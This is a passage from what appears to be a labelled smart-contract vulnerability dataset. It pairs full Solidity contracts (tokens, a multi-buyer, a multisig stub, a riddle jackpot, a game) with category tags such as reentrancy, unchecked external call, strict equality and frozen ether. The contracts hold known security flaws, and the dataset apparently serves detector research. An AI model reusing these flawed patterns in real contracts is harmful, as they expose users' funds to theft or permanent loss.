c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract CyberClassicToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = ""CyberClassic""; string public constant symbol = ""CYC""; uint public constant decimals = 8; uint256 public totalSupply = 100000000000000000; uint256 public totalDistributed = 100000000000000; uint256 public constant MIN_CONTRIBUTION = 1 ether / 100; uint256 public tokensPerEth = 750000000000000; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function CyberClassicToken () public { owner = msg.sender; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; // minimum contribution require( msg.value >= MIN_CONTRIBUTION ); require( msg.value > 0 ); // get baseline number of tokens tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",./Dataset/ether strict equality (SE),3,3 1076.sol,"pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/interface/IBasicMultiToken.sol contract IBasicMultiToken is ERC20 { event Bundle(address indexed who, address indexed beneficiary, uint256 value); event Unbundle(address indexed who, address indexed beneficiary, uint256 value); function tokensCount() public view returns(uint256); function tokens(uint256 _index) public view returns(ERC20); function allTokens() public view returns(ERC20[]); function allDecimals() public view returns(uint8[]); function allBalances() public view returns(uint256[]); function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; function bundle(address _beneficiary, uint256 _amount) public; function unbundle(address _beneficiary, uint256 _value) public; function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; } // File: contracts/interface/IMultiToken.sol contract IMultiToken is IBasicMultiToken { event Update(); event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); function allWeights() public view returns(uint256[] _weights); function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } // File: contracts/registry/MultiBuyer.sol contract MultiBuyer is CanReclaimToken { using SafeMath for uint256; function buy( IMultiToken _mtkn, uint256 _minimumReturn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values ) public payable { require(_datasIndexes.length == _exchanges.length + 1, ""buy: _datasIndexes should start with 0 and end with LENGTH""); require(_values.length == _exchanges.length, ""buy: _values should have the same length as _exchanges""); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); } require(_exchanges[i].call.value(_values[i])(data), ""buy: exchange arbitrary call failed""); if (_throughToken != address(0)) { _throughToken.approve(_exchanges[i], 0); } } j = _mtkn.totalSupply(); // optimization totalSupply uint256 bestAmount = uint256(-1); for (i = _mtkn.tokensCount(); i > 0; i--) { ERC20 token = _mtkn.tokens(i - 1); token.approve(_mtkn, token.balanceOf(this)); uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); if (amount < bestAmount) { bestAmount = amount; } } require(bestAmount >= _minimumReturn, ""buy: return value is too low""); _mtkn.bundle(msg.sender, bestAmount); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } }",./Dataset/reentrancy (RE)/,5,5 22229.sol,"pragma solidity ^0.4.15; contract MultiSigStub { address[] public owners; address[] public tokens; mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } function MultiSigStub(address[] _owners, uint256 _required) { bytes4 sig = 0x36756a23; uint argarraysize = (2 + _owners.length); uint argsize = (1 + argarraysize) * 32; uint size = 4 + argsize; bytes32 mData = _malloc(size); assembly { mstore(mData, sig) codecopy(add(mData, 0x4), sub(codesize, argsize), argsize) } _delegatecall(mData, size); } modifier delegated { uint size = msg.data.length; bytes32 mData = _malloc(size); assembly { calldatacopy(mData, 0x0, size) } bytes32 mResult = _delegatecall(mData, size); _; assembly { return(mResult, 0x20) } } function() payable delegated { } function submitTransaction(address destination, uint value, bytes data) public delegated returns (uint) { } function confirmTransaction(uint transactionId) public delegated { } function watch(address _tokenAddr) public delegated { } function setMyTokenList(address[] _tokenList) public delegated { } function isConfirmed(uint transactionId) public constant delegated returns (bool) { } function tokenBalances(address tokenAddress) public constant delegated returns (uint) { } function getConfirmationCount(uint transactionId) public constant delegated returns (uint) { } function getTransactionCount(bool pending, bool executed) public constant delegated returns (uint) { } function getOwners() public constant returns (address[]) { return owners; } function getTokenList() public constant returns (address[]) { return tokens; } function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } } _confirmations = new address[](count); for (i = 0; i < count; i++) { _confirmations[i] = confirmationsTemp[i]; } } function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } } _transactionIds = new uint[](to - from); for (i = from; i < to; i++) { _transactionIds[i - from] = transactionIdsTemp[i]; } } function _malloc(uint size) private returns(bytes32 mData) { assembly { mData := mload(0x40) mstore(0x40, add(mData, size)) } } function _delegatecall(bytes32 mData, uint size) private returns(bytes32 mResult) { address target = 0xc0FFeEE61948d8993864a73a099c0E38D887d3F4; mResult = _malloc(32); delegatecall(sub(gas, 10000), target, mData, size, mResult, 0x20) } } contract MultiSigFactory { event Create(address indexed caller, address createdContract); function create(address[] owners, uint256 required) returns (address wallet){ wallet = new MultiSigStub(owners, required); Create(msg.sender, wallet); } }",./Dataset/ether frozen (EF),2,2 611.sol,"pragma solidity ^0.4.24; // // Answer the riddle and win the jackpot // To play, call the play() method with your guess and 0.25 ether // // Hint: Check the previous guesses to avoid wrong answers // contract Riddle { bytes32 private answerHash; bool private isActive; Guess[] public guesses; string public riddle; string public answer; struct Guess { address player; string guess; } address private riddler; function () payable public {} constructor (string _riddle, bytes32 _answerHash) public payable { riddler = msg.sender; riddle = _riddle; answerHash = _answerHash; isActive = true; } function play(string guess) public payable { require(isActive); require(msg.value >= 0.25 ether); require(bytes(guess).length > 0); Guess newGuess; newGuess.player = msg.sender; newGuess.guess = guess; guesses.push(newGuess); if (keccak256(guess) == answerHash) { answer = guess; isActive = false; msg.sender.transfer(this.balance); } } function end(string _answer) public { require(msg.sender == riddler); answer = _answer; isActive = false; msg.sender.transfer(this.balance); } }",./Dataset/ether strict equality (SE),3,3 20891.sol,"pragma solidity ^0.4.18; /** * * Version D * @author Pratyush Bhatt <[email protected]> * * Overview: * This is an implimentation of a simple sale token. The tokens do not pay any dividends -- they only exist * as a database of purchasers. A limited number of tokens are created on-the-fly as funds are deposited into the * contract. All of the funds are tranferred to the beneficiary at the end of the token-sale. */ pragma solidity ^0.4.18; /* Overflow protected math functions */ contract SafeMath { /** constructor */ function SafeMath() public { } /** @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) pure internal returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } /** @dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number @param _x minuend @param _y subtrahend @return difference */ function safeSub(uint256 _x, uint256 _y) pure internal returns (uint256) { assert(_x >= _y); return _x - _y; } /** @dev returns the product of multiplying _x by _y, asserts if the calculation overflows @param _x factor 1 @param _y factor 2 @return product */ function safeMul(uint256 _x, uint256 _y) pure internal returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } pragma solidity ^0.4.18; // Token standard API // https://github.com/ethereum/EIPs/issues/20 contract iERC20Token { function totalSupply() public constant returns (uint supply); function balanceOf( address who ) public constant returns (uint value); function allowance( address owner, address spender ) public constant returns (uint remaining); function transfer( address to, uint value) public returns (bool ok); function transferFrom( address from, address to, uint value) public returns (bool ok); function approve( address spender, uint value ) public returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract SimpleSaleToken is iERC20Token, SafeMath { event PaymentEvent(address indexed from, uint amount); event TransferEvent(address indexed from, address indexed to, uint amount); event ApprovalEvent(address indexed from, address indexed to, uint amount); string public symbol; string public name; bool public isLocked; uint public decimals; uint public tokenPrice; uint tokenSupply; uint tokensRemaining; uint public contractSendGas = 100000; address public owner; address public beneficiary; mapping (address => uint) balances; mapping (address => mapping (address => uint)) approvals; //transfer approvals, from -> to modifier ownerOnly { require(msg.sender == owner); _; } modifier unlockedOnly { require(!isLocked); _; } modifier duringSale { require(tokenPrice != 0 && tokensRemaining > 0); _; } //this is to protect from short-address attack. use this to verify size of args, especially when an address arg preceeds //a value arg. see: https://www.reddit.com/r/ethereum/comments/63s917/worrysome_bug_exploit_with_erc20_token/dfwmhc3/ modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } // //constructor // function SimpleSaleToken() public { owner = msg.sender; beneficiary = msg.sender; } // // ERC-20 // function totalSupply() public constant returns (uint supply) { //if tokenSupply was not limited then we would use safeAdd... supply = tokenSupply + tokensRemaining; } function transfer(address _to, uint _value) public onlyPayloadSize(2*32) returns (bool success) { //prevent wrap if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; TransferEvent(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3*32) public returns (bool success) { //prevent wrap: if (balances[_from] >= _value && approvals[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_from] -= _value; balances[_to] += _value; approvals[_from][msg.sender] -= _value; TransferEvent(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) public constant returns (uint balance) { balance = balances[_owner]; } function approve(address _spender, uint _value) public onlyPayloadSize(2*32) returns (bool success) { approvals[msg.sender][_spender] = _value; ApprovalEvent(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint remaining) { return approvals[_owner][_spender]; } // // END ERC20 // // // default payable function. // function () public payable duringSale { uint _quantity = msg.value / tokenPrice; if (_quantity > tokensRemaining) _quantity = tokensRemaining; require(_quantity >= 1); uint _cost = safeMul(_quantity, tokenPrice); uint _refund = safeSub(msg.value, _cost); balances[msg.sender] = safeAdd(balances[msg.sender], _quantity); tokenSupply = safeAdd(tokenSupply, _quantity); tokensRemaining = safeSub(tokensRemaining, _quantity); if (_refund > 0) msg.sender.transfer(_refund); PaymentEvent(msg.sender, msg.value); } function setName(string _name, string _symbol) public ownerOnly { name = _name; symbol = _symbol; } //if decimals = 3, and you want 1 ETH/token, then pass in _tokenPrice = 0.001 * (wei / ether) function setBeneficiary(address _beneficiary, uint _decimals, uint _tokenPrice, uint _tokensRemaining) public ownerOnly unlockedOnly { beneficiary = _beneficiary; decimals = _decimals; tokenPrice = _tokenPrice; tokensRemaining = _tokensRemaining; } function lock() public ownerOnly { require(beneficiary != 0 && tokenPrice != 0); isLocked = true; } function endSale() public ownerOnly { require(beneficiary != 0); //beneficiary is most likely a contract... if (!beneficiary.call.gas(contractSendGas).value(this.balance)()) revert(); tokensRemaining = 0; } function tune(uint _contractSendGas) public ownerOnly { contractSendGas = _contractSendGas; } //for debug //only available before the contract is locked function haraKiri() public ownerOnly unlockedOnly { selfdestruct(owner); } }",./Dataset/unchecked external call (UC),7,7 32658.sol,"pragma solidity ^0.4.4; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract EIDOO is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ string public name; uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. function EIDOO( ) { balances[msg.sender] = 810000000; // Give the creator all initial tokens (100000 for example) totalSupply = 810000000; // Update total supply (100000 for example) name = ""EIDOO""; // Set the name for display purposes decimals = 1; // Amount of decimals for display purposes symbol = ""EDO""; // Set the symbol for display purposes } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 1130.sol,"pragma solidity ^0.4.24; contract RSEvents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); } contract modularGoalbonanzaPlus is RSEvents {} contract GoalbonanzaPlusLong is modularGoalbonanzaPlus { using SafeMath for *; using NameFilter for string; using RSKeysCalc for uint256; GoalbonanzaInterfaceForForwarder constant private TeamGoalbonanza = GoalbonanzaInterfaceForForwarder(0xffcbd472aa93a45f2f9e61945b2b190d0795317b); GoalbonanzaBookInterface constant private GoalbonanzaBook = GoalbonanzaBookInterface(0x0376a6E256DD4B2419973964fCd5d3CB49B53Aef); string constant public name = ""GoalbonanzaPlus Multiple Rounds""; string constant public symbol = ""GB+""; uint256 private rndGap_ = 0; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => RSdatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => RSdatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => RSdatasets.Round) public round_; uint256 public fees_ = 50; uint256 public potSplit_ = 45; constructor() public { } modifier isActivated() { require(activated_ == true, ""its not ready yet""); _; } modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin); uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""too little money""); require(_eth <= 100000000000000000000000, ""too much money""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, _eventData_); } function buyXid(uint256 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } buyCore(_pID, _affCode, _eventData_); } function buyXaddr(address _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function buyXname(bytes32 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RSdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } reLoadCore(_pID, _affCode, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RSdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RSdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { RSdatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RSEvents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit RSEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = 